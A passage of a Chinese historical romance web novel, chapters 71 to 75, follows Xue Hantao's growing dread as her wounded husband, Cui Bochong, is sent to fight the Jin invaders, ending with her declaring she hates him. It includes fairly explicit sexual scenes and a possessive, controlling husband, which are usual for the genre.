“打他们的腿,不要死就好。”薛含桃张了张唇,开口吩咐。 干净利落的模样让果儿都有些畏惧,只有大黑狗,一如既往地蹲在她的脚边。 罗承武和护卫们照着做,当即,望仙阁上的笑闹声就变成了尖利的惨叫。 定国公也入宫去了,曹夫人接到禀报赶过来的时候,她的儿子和侄子已经痛的满头大汗。 “薛氏,你找死。”曹夫人再也维持不住温柔的表面,怒瞪薛含桃,目光嗜人。 “任何人都不可以诅咒世子,被我听到一次,我打一次。”薛含桃脸色苍白,眼神却毫不退缩,她直勾勾地看向曹夫人,说她会保护世子。 “每一个人,都不可以。” 所有伤害过他的,都会迎来桃子的报复。 曹夫人罕见地被一个农女的眼神吓住,回过神后,她恼羞成怒地笑了起来,“我儿说几句话算什么,薛氏,你满口狂言,有本事便去捅了天。” 要崔伯翀死的人是天子,是崔皇后,是定国公,他们母子最多不过冷嘲热讽几句。 薛含桃唇瓣动了动,没有出声,可她已经抬头看向天空。 灰暗的一层阴翳,遮住了日光。 她没有忘记自己会使出仙法,只要给她时间就好了。 “停下,国公府还轮不到她做主。”见她没有动静呆似木人,曹夫人气的眼前发黑,搬出了定国公。 “打了就打了,与国公府谁人做主有关系吗?”然而,回应曹夫人的却是一道凉薄至极的嗓音。 崔伯翀踏上望仙阁的楼梯,在他身后,是脸色铁青的定国公崔羿。 曹夫人像是发现了救命稻草,急忙看向定国公,开口喝止。 可薛含桃的反应比她还要激烈,在听到男人声音的那刻,就冲过来抱住他的手臂,死死地抱住,像是受了天大的委屈。 她闭着嘴巴一声不吭,只是用眼神和身体不停地确认崔伯翀的存在。 若不是有旁人在,她更想钻入他的怀中,向他露出自己香甜的果肉,和他说,请一直留下来,陪着她不要离开。 崔伯翀揽住她的肩膀,看着她仓皇的反应心头刺痛,转而将人抱起来,迈下楼梯。 离去前,他当着定国公的面,冷声吩咐罗承武,“继续,天黑之前不要停。” 一直打到天黑,即便是刀鞘,人也要去半条命—— 崔伯翀抱着人刚进入房门,怀中不安的女子就仰头去亲他的喉结,下颌,唇角。 “金人打过来了,可是,你的伤没有 好,不要离开我。“薛含桃的眼睫毛颤抖不止,她多害怕听到他说会做回之前的英雄。 崔伯翀垂眸望她,并未正面回答,只是轻描淡写地开口,让她放心,“边军有应对金人之策,一时半会儿还轮不到我出战。” 一时半会儿,又是多久。 薛含桃却不敢问,她只是热烈地向他展示她的风情。 第72章 第七十二章爱到极致便是恨。…… 薛含桃从来没有这般主动过,每亲他一下,都要仰着头看他一眼,唯恐他在自己的面前消失。 她终于学会了取悦二字,完全张开了自己,去够他的嘴唇,去吻他依然带着伤药的心口。 甚至,往下,讨好地舔舐另一个“他”,企图用柔媚的躯体将他迷的神魂颠倒,让他忘记外面正在发生什么。 崔伯翀因为桃子毫不保留的热情浑身燃烧起来,他的手掌压着她的后颈,来回摩挲,慢慢地移到他最喜爱的蝴蝶骨,将她彻底掌控。 时快时慢的节奏不多时就将屋内点燃,薛含桃的身体在战栗,腰和腿忍不住软绵绵地倒下,但她没有放弃讨好,用笨拙的手段勾着他,诱惑他,说出令她无比廉耻令他血脉偾张的话。 “没有你,我难受…一直在我的里面,好不好?” 不要去想别的,只要拥有她就够了,她会给他带来快乐,她会陪着他到天荒地老,永远永远。 崔伯翀的额头冒出了青筋,他没想过桃子也可以变得妖冶,晃动的涟漪勾得他眼睛赤红,他的掌控很快就失了章法。 第一次放纵自己,抛却克制,成为了欲念的俘虏,贪婪地朝着她索取。 一遍遍地沉沦,将所有礼义廉耻扔开,拼命汲取桃子的汁水。 她说的天荒地老,她说的永不离开,他按着一双蝴蝶骨像是要把她按入自己的血肉之内。 薛含桃伏在他的肩膀上,像是献给神明的祭品,眼皮无力地半睁,可还是很努力想要确认他的存在。 脸颊轻轻地蹭着他,张开粉唇吐出不完整的一句话。 “…承诺过的,准照医嘱,在我的身边。” 天下还有很多很多的英雄,他们的身上没有致命的旧伤,请你做回一个普通人吧,安心地养伤,只要半年,半年便好。 她没有很贪心,只是不想之前的努力都白费。 可是等啊等,她也没能得到一个答案,他只是温柔地捧着她,细密不停地亲她。 薛含桃的眼角落了一滴泪,泪水被吮去的那刻,她的口中含糊不清地冒出一个恨字。 爱到了极致,便成为了恨。 最后,她昏睡了过去,带着脸上未干的泪痕,被崔伯翀圈在怀中。 “这是一场千载难逢的好机会,皇帝与晋王争斗,蔡存失宠,金人认定我必死无疑,过了这一次,天下安稳,桃子就能凭着心意扎根,不会再有任何隐忧。” 他无法向她保证自己不会上战场,但他可以明白地告诉她,“我怎么可能舍得丢下你,我得永远把你抓在手心。” 崔伯翀用指腹擦干她脸颊的泪痕,噙住她的唇瓣,锲而不舍地想要到达她身体的最深处,或许可以接触到热烈跳动的心脏。 他说,“再等一等。”- 一连两日,薛含桃都黏在崔世子的身上,不去听外面的风风雨雨,盯着他吃药,扎针。 施粥也不去了,只交给果儿和玉蘅。 又是一日施针,她一眨不眨地凝视着崔世子,将孙医圣都弄得不自在起来。 “小桃,你不要太担心,建朝百年,我这个老人家经过这种事不是一两次,打不起来,没准现在朝廷已经把求和的岁币都送过去了。”孙医圣看得出来她变成如今的模样是因为什么,趁着儿子为崔世子施针的机会,他把小姑娘拉到院子里劝解。 对待外敌,除非被逼到墙角不得不还击,大多时候,朝廷的第一选择都是求和。根源自然和掌权的一帮人的软骨头脱不开关系,尤其那位天子,简直跪习惯了。 孙医圣怒其不争,所以从不在都城停留,怕自己气出个好歹。 虽说他的内心无比希望朝廷强硬一次,但…唉,崔世子身体绝对上不了战场,用来安慰人也不错。 “谢谢您,医圣大人,可我这里总有些不踏实。”薛含桃对着安慰她的老人,用力挤出一分笑容,她知道其实世子在等待。 方大哥时不时拿到书房的密信,来访的生面孔,狄将军的欲言又止,无一不在提醒着她,风雨欲来。 可只是刚刚扎下根系的桃子能经受得住暴风雨吗? 薛含桃惶恐着,迷茫着,找不到答案。 “时运啊。”见此,孙医圣叹了一口气,不再多言。 薛含桃望着老者慈祥的背影,抿抿唇跟了上去,低声问取了花朵的紫昙还能不能再开花,或者结出种子。 “我并非贪得无厌,只是想万一有意外,还能留有一分希望。” 孙医圣看着她,摇了摇头,“再有不测,就算多出一朵紫昙,也无用。” 不过,他表示等到紫昙再开花结出的种子可以送给她,毕竟她是第一个缔造奇迹的人。 闻言,薛含桃垂下了脑袋,木然地又守在了房门口。 等到孙大夫为世子施好针,她急急忙忙进去,朝他绽放一个笑脸,“世子想看我作画吗?” 她模模糊糊地记起来,就在这处房间里面,他最喜欢自己画出一个崔世子,会夸她还会给她奖励。 迷乱的场景她曾经避之不及,可现在只想永远停留在那时。 听到这里,男人高大的身躯倚在榻上,朝她招了招手,薛含桃立刻满脸欣喜地靠近他,挨着他。 “不想看吗?”她眼巴巴地开口。 “当然想,我教你作画,自然想看你不断练习。”崔伯翀掀了掀薄唇,令人将库房中的九州定海图拿来,“这幅画勾勒出了九州河山,寓意深远,你重新画一幅。” “若是画不好,”他眯着深邃的眼眸,多了几分严苛,“要狠狠地罚桃子。” 提到惩罚,崔世子好整以暇地伸出宽大的手掌,说了“杖责”二字。 薛含桃脸庞微红,支支吾吾地回了声好。 晚上,不出意料,她被重重惩罚了一通,趴在被褥里面,承受不住地睡了过去。 次日,薛含桃一睁开眼睛,出乎意料,先看到的人是果儿。 “世子呢?”她脑袋空白了一瞬,慌张去寻他的身影,没有看到人,她牙齿直打战。 “娘子,今日阳光暖和,世子在院中给阿凶洗澡呢。”果儿心疼她像一只惊弓之鸟,忙不迭地回答世子没有离开。 至于她急匆匆地等着娘子醒来,是有一件事告诉娘子。 “娘子,您别害怕,这一战打不起来。我和宫里从前的姐妹打听,她们都说贵妃娘娘在骂晋王。”果儿压低声音,神神秘秘地附在薛含桃的耳边,说宫里的小道消息。 “阿姐为何骂晋王?”薛含桃有些摸不着头脑,晋王是陛下的弟弟,仪静县主的父亲,和阿姐有何恩怨。 “因为前阵子陛下散出国库数十万两银子赈济雪后的灾民,还有太子殿下的立储大典也花了不少银子,国库一时不丰,晋王拿出了王府的大半家财,充作给金人的岁币,宫里宫外都夸赞晋王大义呢。” 果儿没说的是夸赞晋王的同时,许多声音也在质疑年幼的皇太子,影射皇太子不祥,不然怎么太子刚立就出了这样的 事。 薛贵妃知道可不得气坏,骂晋王不怀好意。 事实上,晋王不止拿出了家财,还主动提出让自己的女儿仪静县主和亲,只是被狄恒等人严词拒绝了。 之后,在府中“养伤”的蔡存露面,也拿出了自家的一半家财,说是感慨于晋王殿下大义,又为自己的儿子求娶仪静县主。 不得不说,两人弹的好一手双簧,名声有了,天子的威信坏了,朝中内外的人心也在动摇。 现在只等着金人那边见好就收,他们再齐心协力将皇太子那个小儿弄死,效仿太、宗来一出烛光斧影,让晋王登基为帝。 “原来是这样。”听了果儿的话,薛含桃愣了好久,战争打不起来,可是却被人当作了攻讦对方的机会。 在这个节骨眼上明争暗斗。 她不由觉得可悲,为自己,为千千万万的百姓,也为曾经差点死去的世子。 这些人,只是生来尊贵罢了,却叫他们支使天下,他们不配。 薛含桃的心中涌出了愤怒,但与此同时,她卑劣地松了一口气,只要战争不打起来,世子就能好端端地留在这里养伤。 她认真地向果儿道了谢,接着笑着快步走到门口。 果然,院中,桃子的夫君正在慢悠悠地往大黑狗的身上泼水呢,还霸道地不准阿凶动弹,她吸了吸鼻子,骂了一句。 坏心眼的世子。 消息他肯定知道的比果儿姐姐早,为什么不和她说,只看着她惊惶不安。 薛含桃报复心起,掬起一捧清水朝着男人洒去。 下意识地躲开后,崔伯翀勾着唇角,也捧着水还击,结果她老实地站在原地不躲也不闪,傻乎乎地笑。 眼睫毛上挂着晶莹的水珠。 “傻桃子。”他上前,轻轻地亲她的眼睛。 “唉,娘子总算真心笑了,不枉我费那么多劲儿。”果儿透过窗户看到院中亲昵的场景,如释重负。 真好,只是她也疑惑,世子为什么不告诉娘子呢?没道理啊。 果儿不明白,但只是短短的一两日,局势就骤然发生了变化。 不等朝廷的岁币到边境,金人的种种猖狂就先传到了都城。 他们撕碎之前周金两方签订的一纸和约,长驱直入接连占了两座城镇,肆意嘲笑周朝的皇帝是头蠢猪。 因为他提前为他们除去了一个劲敌。 “崔伯翀将死,无人再拦我们,势必打到周京,活捉周帝。” “活捉周帝!” 朝堂之上,听到这句狂言,德昌帝气急之下当即吐了一口鲜血。 可是望着底下躁动的人群,他反而冷静下来,必须要还击,否则他会成为史书上的笑柄。 更坏,江山断送在他的手里,成为金人的俘虏,他会遗臭万年。 “传崔伯翀觐见。” 第73章 第七十三章他不敢告诉她。 崔世子再次被德昌帝诏入宫中,因为有果儿告诉她的小道消息在前,薛含桃这一次并不如何慌张。 她在书房里面,正用心临摹那一幅九州定海图。 结束了数日的施粥,薛含桃认真地盘点过后,才发现自己的银钱几乎耗费殆尽。 就连陛下赏赐的那一百金都用上了大半,原本她大方说要给世子,没想到最后还是被她给用了。 薛含桃心中有些愧疚,便想临摹一幅名画卖出去,拿她自己赚来的银子为世子买一只新的铁革。 她已经问过方大哥,坊市的兵器铺便有铁革售卖,质量上佳的一只售价约在二十两到百两之间。 第一次临摹的九州定海图她卖了十两银子,这一次更为精进,薛含桃觉得应该可以卖到三十两。 她干劲十足,伏在书案上几乎目不转睛。 等到崔伯翀从宫中归来,她还在专心致志地用画笔勾勒,衣袖被弄脏了都不知道。 他静静地站在她的身后,看着一幅“全新”的九州定海图在她的手下成型,画面磅礴苍劲,东升的旭日照向山川峰峦,扑面而来一股浑厚的朝气。 和原画几乎没有任何区别,谁都想不到这只是一个学画不到半年的小姑娘临摹出的仿图。 “精妙绝伦,可以出师了,除了你,全天下不会找出第二个将九州定海图原模原样画出来的人。”最后一笔落下后,崔伯翀上前,面带微笑地握住她的手腕,将她手背处的一点墨水擦去。 得到了他口中最高的评价,薛含桃眼眶发热,愣愣地看着他,说不出话。 他不知道,这是桃子平淡人生中的第一抹色彩,不是为了填饱肚子而学,也不是全靠自己摸索,而是有一个人从头到尾地教她,虽然大多数时候他很严苛,但他也从不吝啬鼓励她,夸奖她。 世子真的很好很好啊,即便只有她一个人知道。 她眼带痴迷地望着他,心中也被填的满满当当,她喜欢现在和他在一起自在舒服的日子。 从前不敢奢望的变为了现实。 “真想一直如此,很幸福。”薛含桃摸着自己的心口,砰砰砰,跳的还是很快。 听到她说幸福二字,崔伯翀的眼神出现了波动,下一刻,他故作平淡地移开目光。 “对了,陛下这次为了什么见世子啊?是因为晋王吗?”薛含桃和他说果儿打听来的消息,也骂了晋王一句,“他竟然把金人的丑恶怪到小皇子的头上,小皇子可还不会说话呢。” 其实,她理应进宫去柔仪殿一趟,毕竟是薛贵妃唯一的妹妹,不过薛含桃担心自己将世子身体的真实状况泄露出去,便只送去一些东西。 别看她表面上对着薛贵妃和德昌帝有问有答,一幅老实巴交的模样,可实际上她紧张坏了,每次进宫手指头都险些抠破她的袖角。 即便她心中万分信任的果儿姐姐,此时也并不完全清楚内情,只以为崔世子旧伤复发,孙医圣被请来也仅为世子调理身体。 紫昙的存在被瞒的密不透风,府中只有孙医圣孙大夫父子,她,世子和方振五个人知晓。 “晋王如今和蔡存勾结在一起,所求皇位,不过,他们蹦跶不了多久。” 崔伯翀想到前不久自己在延和殿中说过的话,不耐地闭上了眼睛。 他的心中竟然也会生出退却,恐慌,与她干净无瑕的眼睛对视,听到她欢喜地说着幸福,一向无从畏惧的他竟然不敢将那些话说出口。 “嗯,都是奸人,肯定没有好下场。”薛含桃觉得罔顾百姓的他们都应该去到阴曹地府,下油锅入刀山。 此时的她并未发现自己的注意力已经不知不觉被崔世子带偏。 他又一次,没有回答她的问题。 可是放下了戒心的桃子没有留意- 画完了一幅九州定海图,薛含桃没有停下,又分别为果儿姐姐和玉蘅作画,将她们两个人的模样留在了纸上。 她将画送给她们两人。 果儿高兴地要命,直说要挂在自己的屋子里面。玉蘅比她含蓄一些,但摸着自己的画也是爱不释手。 “可惜,世子不让我画别的男子,不然,我定要给罗大哥和方大哥也作一幅画。对,还有狄将军,画下来送给吴国夫人,她肯定喜欢。” 薛含桃嘀嘀咕咕,在一次崔世子喝下药睡过去的午后,时隔多日,终于拿出了久违的背篓。 将临摹好的画轴放进背篓里面,她穿着一件耐脏的袄裙,迈出了定国公府的大门。这一次,没有不长眼的人再敢在她的面前冷嘲热讽,三两个听从曹夫人的嬷嬷婆子远远看到她,飞快避开,甚至低下头害怕与她目光交汇。 “跑的真快,娘子早该给他们脸色看看了,一群欺软怕硬的人。”依旧是果儿和阿凶陪着薛含桃,果儿对婆子的反应很是满意,虽然那日也吓到了她,但娘子树立了威信,敢惹事的人便会越来越少。 闻言,薛含桃微微弯了眼睛。 果儿姐姐也赞成自己那日的举动,可见她没有做错,再勇敢一些的话,她默默捏住了自己身上的荷包。 荷包里面,已经放有两封圣旨。 ……还是不够,但世子的书房里面应当放有陛下从前降下的圣旨,如果她把那些圣旨都找出来,一遍遍地尝试,便可以使出仙法。 薛含桃抬头望了一眼天空,一个普通不起眼的农女捅破了天会受到怎样的惩罚。 “娘子,您在看什么?呀,那有一块乌云,说不定又要下雪,我们得快些去。” “嗯,乘马车。” 她没有坚持走着去,果儿由衷地拍了拍胸脯。 比起从前,娘子大为长进! 罗承武驾的马车是他们年前离京的那辆,马儿和大黑狗互相嗅了嗅对方的气息,算是打了个招呼。 薛含桃和果儿坐在里面,仅用了小半个时辰就到了她们从前居住的街市。 她先去画坊卖画,那么多天过去,画坊的掌柜还识得她,热情地招呼她为薛娘子,“上次我出五十两银子,薛娘子不肯 将画卖掉,不知现在,我再往上提十两到六十两银子,如何?” 画坊的掌柜对崔世子的肖像画念念不忘,多招眼的郎君啊,仿若真人一般,他敢断定一些小娘子定然会买,若是个出手阔绰的,卖出几百两银子不成问题。 大周商贸繁荣,都城的富人围起来能绕皇宫一圈。 “那幅画画的是我夫君,我不卖。掌柜不如看看这幅?”薛含桃没有因为掌柜的锲而不舍生气,她将画轴从背篓里拿出来,让掌柜察看。 掌柜原本有些失望,不过当他将画轴展开,眼睛顿时瞪大,这不是负有盛名的九州定海图吗?多年以来,摹本不知几几,但薛娘子的这幅……笔触,意象,简直和真的一样。 “之前我也在这里卖过一幅摹本,卖得十两银子。掌柜,这一幅比前头的精妙,我的要价不可能再是十两银子。”薛含桃认真同掌柜讨价还价,她想了想,伸出五个手指头。 五十两银子能行吗?试一试吧。 掌柜死死地盯着面前的画,在薛含桃又一次唤他的时候,终于艰难地转过头,恰好看到大黑狗前腿上扣着的金环,以及果儿无聊之下来回转圈的玉镯。 他想起了这两日暗中流传的消息,战事将起,崔世子要重新掌兵…… 对,每逢战乱书画都是最先被割舍的,到了乱世真金白银才拿得出手。 登时醍醐灌顶,掌柜急忙掏出了五张崭新的银票递过去,“五百两银子,薛娘子不能反悔。” “啊?五百两……好,谢谢掌柜。” 薛含桃拿着五张银票,看了又看,放进荷包里面,压根不敢停留,闷着头匆匆拉着果儿离开了画坊。 她要去兵器铺子,买最贵的铁革! 五百两,她的一幅画居然卖出了五百两,做梦也梦不到的成真了。 薛含桃的一双笑眼眯成了月牙,大庭广众之下她抱着沉甸甸的大黑狗硬是走了几步路。 “呜!”大黑狗猛地离开了地面,吓到叫了一声,从前它肉少,主人的细胳膊细腿抱着它刚好,现在它觉得身体在摇晃。 只想快些下来。 “娘子,那掌柜不会是以为这画是真的吧?”果儿后知后觉,对着薛含桃说道。 “不会的,我都和掌柜说了是摹本,应该是这次的画得了掌柜的喜欢。”薛含桃自信满满,世子都夸她的画精妙绝伦,掌柜给出高价肯定是因为画好。 “或许吧。” 果儿半信半疑,她们接着去了兵器铺子。 琳琅满目的兵器摆在架子上,薛含桃刚走进门就狠狠吃了一惊,不是因为武器多而是因为人多。 两间的铺子里粗略看去,得有几十人,争先恐后地购买架子上的刀剑,伙计忙不过来,只能用喊的。 “怎么这么多人?”她喃喃自语。 “娘子,要打仗了,这时兵器就畅销,人人都想买把刀剑防身,说不定就能用到。你要是有意,赶紧也买一把。”一旁,有个年轻的男子听到她的话,好心地同她解释。 战事一起,动、乱少不了。 “什么打仗……外面不都传朝廷已经送去了岁币,金人收下岁币就会退兵,不会打起来的。”薛含桃失了神,迷茫地看着青年反问。 “不不,金人狼子野心,撕毁和议,已经领兵侵占了两座城镇,此等奇耻大辱我等如何忍受。”年轻男子一脸愤懑不平,举起刚买的长剑,语气坚定,“我今日买好兵器便要去从军,有崔世子统领,此战必胜!” 崔世子统领。 这一瞬,薛含桃的心跳骤停。 第74章 第七十四章“我恨你。” 兵器铺子里,到处是喧闹声。 薛含桃脸色苍白,对着举剑的年轻男子说,“可是他身上的伤没有好…” 然而年轻男子还未回答她,旁边又传来了交谈声。 “由崔世子领兵,我这心立刻就不慌了,生意照样做,一家人从前是怎样现在还是怎样。”说话的人是个穿着绸缎的老翁,家里开几间小铺子。 “可是他身上的伤没有好。”薛含桃循着声音看向他。 “是这个理,过来买把刀剑也不过图个心安,我家大郎想从军,那可不行,我膝下只他一子。” 与老翁交谈的人是他一位年纪相当的朋友,薛含桃同样看过去,大声说,“可是他身上的伤没有好!” “没事,你将他关在家里,等崔世子领着大军离开,再把他放出来不就妥当了,只盼着大军早些出发,最好明日就走,不然我心里不踏实。”第三个人插话,面目模糊。 “可是他身上的伤还、没、有、好!”薛含桃咬着唇,一字一句地朝人吼道。 他们在关心自己的生意,自己的家人,自己的安危,可她的夫君身上有伤需要修养,他去不了战场。 她坚持不懈地和每个人说,然而,没有人搭理她,这些人只是奇怪地看她一眼,便施施然地离去,嘴里继续之前的交谈,抱怨为何不早些出兵,省得他们这几日担惊受怕。 “可是他身上的伤还没有好啊。”薛含桃落下了眼泪。 “假的,娘子,他们的消息说不定是假的呢。”果儿反应过来发生了什么后,心里也慌了起来,但她面上维持着镇定,极力认为出兵是假消息。 宫外的普通百姓肯定比不上贵妃娘娘那里消息灵通,免不了错传,误传。 “对,我要进宫,去问阿姐。”听了果儿的安慰,薛含桃如同抓住了一根救命稻草,铁革也不买了,脚步踉跄地挤出兵器铺子。 她找到熟悉的马车,匆匆钻进去,抱着大黑狗和罗承武说往宫门处。 罗承武看出她的神色不对,顿了顿,暗带询问的目光落到果儿的身上。 果儿的心中也还慌着,囫囵吞枣地解释她家娘子有事情要询问贵妃娘娘。 至于什么事情,两人都没有再开口。 罗承武心下微沉,驾着马车来到了宫门口。 薛含桃进宫的次数还算频繁,加上太子初立,守着宫门的人认出她后并未为难,当即去了坤宁殿通报。 以往她进宫都是薛贵妃派人接她,进了宫门后直接奔去柔仪殿便是。但这一次她主动觐见,按照皇宫的规矩,所有外命妇需先过皇后那一关。 崔皇后许可后,薛含桃才可以进宫到薛贵妃的柔仪殿。 然而,一刻钟,两刻钟……半个时辰过去,派去往坤宁殿的人也未归来。 薛含桃站在一名宫人的面前,感受着时间一点点流逝,她抿了抿发干的唇瓣,改了口。 她说自己不求见贵妃了,想见御前的何内侍。 “劳烦和何内侍说,谢谢他上一次的冻柿和金橘,我记下了他的人情,日后定有重报。” 怎么会不懂呢?世子让她背官吏们人情往来,和她讲关系的纠葛复杂,她其实都记在了脑海里。 比如,宫中的内侍甚至比后妃的权力还要大,他们之间盘根错节, 可以延伸在皇宫的每一个角落。 果然,一听她提到何焕,宫人们交换了一个眼神,一个不起眼的小太监急忙离去。 只两刻钟后,柔仪殿的胡茵儿就满脸厉色地出现,先是恭敬地向薛含桃行了一个礼,而后忍着怒气和她解释坤宁殿的人压根没有告诉薛贵妃她要求见。 “幸亏娘子您聪明想到了何内侍,他派过去一个小太监和娘娘说,娘娘才知道。” “嗯,我明白,是崔皇后故意为难。”薛含桃望了一眼精美大气的宫殿,默默地又垂下眼眸。 她会记住的,也会思考。在世子受伤一事中,有陛下和定国公插手,崔皇后呢?又充当了什么角色。 凭现在的她,查不到。但她可以学着去查,可以耍心眼从别人的口中得知。 薛含桃想,她终归不能再是从前的自己,要在都城扎根必须适应这里的复杂。不然,她又有什么资格说保护世子呢? 她想了很多很多,站到薛贵妃面前的时候便是一副静默呆滞的模样,像是风干的枯枝,毫无生机。 薛贵妃不自在地移开目光,张口和胡茵儿说了一般无二的话。 “皇后向来自诩名门出身,没想到作出这么不要脸皮的事。好在,你与何内侍算是有了来往,这不是一件坏事。” “阿姐,宫外许多人在传,战事将起,世子要领兵迎战,是…真的吗?”听到她的声音,薛含桃的眼中有了微弱的亮光,着急强调,“可是之前,宫里传出的消息是晋王将自己的大半家产充当岁币,只要给了金人岁币,他们便会退兵。” 薛贵妃沉默下来,没有出声。 她已经知道了崔世子寿命所剩无几的真相,知道了幕后害他的人,知道了自己的妹妹小桃一直被当作为皇儿铺路的棋子。 她自以为是的“为小桃好”原来也是一个陷阱。 从一开始,小桃就是一个牺牲品,而她却没有权利知晓,她或许只是觉得崔世子旧伤复发,请来大夫医治便能痊愈。 而现在,薛贵妃愕然发现,无论把不把这个真相告诉小桃,结局竟然大同小异。 把真相告诉小桃,崔世子最后是因为功高盖主被陛下害死。不把真相告诉小桃,崔世子依旧面临死局,死在战场上。 只是第二种死因下,陛下的所为会被遮掩,晋王的谋划也再不能威胁到她和皇儿。 人心本来就有所偏向,薛贵妃也不能幸免,所以她从心底赞成崔世子领兵出战,所以她面对自己的堂妹沉默。 因为对自己有利。 “阿姐,求求你,告诉我,世子领兵是不是真的?”明明从堂姐的态度中已经窥见暗淡的结果,可薛含桃仍然不愿意放弃,她向薛贵妃乞求一个答案。 薛贵妃看着面前仿佛要碎掉的少女,终于开口,“小桃,对不起。” 一声对不起击落了薛含桃心中所有的侥幸,她抖着唇瓣问,“可是世子身上的伤没有好,阿姐和陛下难道不记得吗?” 薛贵妃不语。 “……或许陛下忘记了,我去求陛下,那么多位将军,肯定比受伤的世子更厉害。” 薛含桃垂下脑袋,手指头抠着衣角,转身要去延和殿。 “小桃!没用的,你……你不明白,只有崔世子出征才可以鼓舞士气。他只是受伤但朝廷内外的流言都暗指他被毒害,金人敢撕毁和议也有这方面的原因。若是崔世子出征,不仅流言不攻自破,也可以打金人一个措手不及。” 薛贵妃拉住她的手,同她解释崔世子不得不出征的原因。 “再者,出征而已,未必就有危险。你想我们从前听的戏文中,将军是不是大多凯旋而归。” 许久,薛含桃抬起头,黑白分明的眼睛盯着薛贵妃,慢吞吞吐出一句话。 “阿姐,其实我没有那么笨。” 她虽然不聪慧但也不傻,可为什么他们都来欺骗她。 闻言,薛贵妃身体僵住。原来,小桃已经知道真相了吗? “陛下的旨意不可能再更改,而且,我听说,崔世子在延和殿主动请缨,死在战场上或许是他想要的结果。” 主动请缨……她还是被骗了啊。 薛含桃的指尖将衣角抠出了一个很丑的洞,与此同时,她的心也血淋淋地破了一道口子。 有些冷,有些疼。 她浑浑噩噩离开了柔仪殿,再次回到宫门处,钻进马车里面,闭上眼睛。 好累啊,她真的是一个傻子,傻乎乎地坚持,想要将人留住。 可是他不在乎,他主动要舍弃自己,舍弃眼下的安逸,也舍弃她。 为什么就不能再等一等呢?天底下有很多很多的英雄,很多很多的将军,他们为什么不能撑上去,偏偏要是他。 薛含桃冷到将自己缩成了一团,挨着大黑狗恹恹提不起精神的模样。 见此,果儿很快猜到了薛贵妃的回复,闭紧了嘴巴。 一路无声。 她们午后出府,回去时已是黄昏。 马车停在府门的时候,恰好遇到离开定国公府的枢密使狄恒。 狄恒先看到和大黑狗垂头走在一起的小姑娘,高声唤了她一句,“小桃。” “……狄将军。”薛含桃仰起脑袋,看见他,忍不住又冒出了一丁点儿希望。 狄将军是世子敬重的长辈,他同时也是百姓的另一个保护神,他是不是可以阻止世子领兵出征。 想到这里,她激动地跑到狄恒的跟前,“狄将军,您可不可以帮我一个忙?” 闻言,狄恒神色微顿,缓声问她遇到了什么难处。 薛含桃抿着刺痛的唇瓣,语气充满了希冀,“世子的身体没有痊愈,不能上战场,狄将军能否和陛下请奏换别的将军?” 狄恒同样沉默,也同样在她眼神黯淡的那刻说了一声对不起。 他帮不了这个忙,但理解她此时的悲痛欲绝。 “多去陪陪伯翀吧,后日,他便会离京。小桃,不要怪他,这是他的选择。这一次,老夫同样也不会再退缩。” “我知道了,狄将军。” 最后一点希望破灭,薛含桃慢慢地朝他鞠躬,然而死气沉沉地走入府门。 只是转过一道弯,崔伯翀就站在不远处,专注地看着她。 他逆着光,整个人如同在一团阴影中,脸上的神情薛含桃看不清楚。 很努力地睁大眼睛,也依旧是模糊的,像是快要从整个世界离开,永远消失不见。 她动了动疼到麻木的唇瓣,说,“我恨你。” 第75章 第七十五章锁链。 一声恨清晰地传入崔伯翀的耳中,他心口抽痛,恍若未闻地走近她。 “今日怎么出去这么长时间,申时已过……” “我恨你,世子。” “哭过了,衣服也抠破了,除了卖画你还去了何处?” 他环顾桃子的全身,很快发现了异常的地方,眉眼微沉,伸出了手。 “你听不到么?我恨你,恨你一辈子。”薛含桃睁着大大的眼睛,看着他一步步朝自己走近,猛地往后退去。 她拒绝他的触碰,决绝地诉说她的恨意,再也不要沉沦在他的骗局中。 崔伯翀的手掌停在了半空,这是第一次她在他靠近的时候露出厌恶的,避之不及的神色,而往日被他亲的红肿的唇瓣中更在坚持地吐露一个恨字。 泛红的泪眼,浓烈的恨意,以及倔强的躲避。 崔伯翀很轻地扯了下嘴角,目光落在自己的手上,他说,“听到了,不就是恨吗?你继续说,我都听着。” “只是,恨归恨,桃子永远不可以厌恶我,拒绝我。否则,要罚。” 话音轻飘飘地落下时,他的眼神也钉住了她,暗沉如化不开的墨。 薛含桃浑身发颤,忍不住又往后退了一步,可是太晚了,她已经被一双有力的手臂拦腰抱起,扣在男人的肩膀上。 桃子拼命地挣扎,很快,她饱满柔软的地方被一只手掌不轻不重地拍打了一下。 “继续,说你恨我,不要停。”崔伯翀抱着她走回东院,步伐和语气都很随意,甚至优雅,“我洗耳恭听。” 他要她继续说,薛含桃伏在他的肩膀上,反而沉默了下来,一声不吭。 被放在房间里面的小榻上时,她飞快地缩到角落,将脸埋在自己的双腿上,也不看他。 她真的很累很累了,只想像一颗种子埋在土里,不去 听,不去看,将自己完全封闭起来。 可是这个模样的她崔伯翀不允许,他笑着掰开她坚硬的外壳,握住她的手腕,俯身用温水滋润她干涩的唇。 亲到她失去的血色重新出现,灼热的唇舌又停留在她闭着的眼皮上,慢慢舔去那一点水润。 “有一个老实巴交的小姑娘才是最大的骗子,你看,她明明因为宛若神明的仁慈被吸引,转而爱上那个人。她说,世子是位大善人,仁民爱物,扶危济困,看到他时眼睛都挪不开。” “可是现在,他在努力地做回那个大善人,变成她心目中的神明,她却说恨那个人一辈子,连眼睛都不愿意再睁开看他。” “这不是欺骗,是什么?” 他的唇舌往下,又停留在她的脖颈,一个人最脆弱的地方,辗转反侧,来回吸吮。 薛含桃仰着脖子无声地哭泣,他说得对,她也是一个骗子,卑劣又自私,想要用她的爱将万人敬仰的崔世子困住,变成她一个人的夫君。 但是,她不后悔说出恨他,因为爱他太累了,她想做回路边无人在意的野草,枝头干涩无味的野桃了,不会伤心,不会失去自我。 “我不欠你了。” “你会死的,我不愿意被抛弃,有一个死去的浑身冰冷的夫君。” “和离吧,你若是不能活着回来,我还可以继续扎根,吸收阳光和雨露。” 崔伯翀垂下眼眸,没有停顿,面无表情地咬住她的蝴蝶骨。 很疼,可是接着他的笑声很温柔。 他笑着说休想,“我不会对一个骗子仁慈,当然,我也不会死,让她从我的手心逃走。” 和离,说什么梦话呢? “等着我回来,桃子会拥有想要的安乐幸福。” 薛含桃睁开紧闭的眼睛,默默摇了摇头,她不想再陷入到煎熬之中。 太累了,太难受了,耗尽了她的生命力。 没有生命力的她重新变成了一个干涩无味的野桃,接下来的一天,无论崔伯翀在她的耳边说什么,她都置若罔闻,只是茫然地将自己蜷缩在角落。 眼睛也不敢再闭上,因为她害怕会梦见一个鲜血淋漓,生机全无的崔世子。 然后,她被喂了一碗药汤,终于睡了过去。 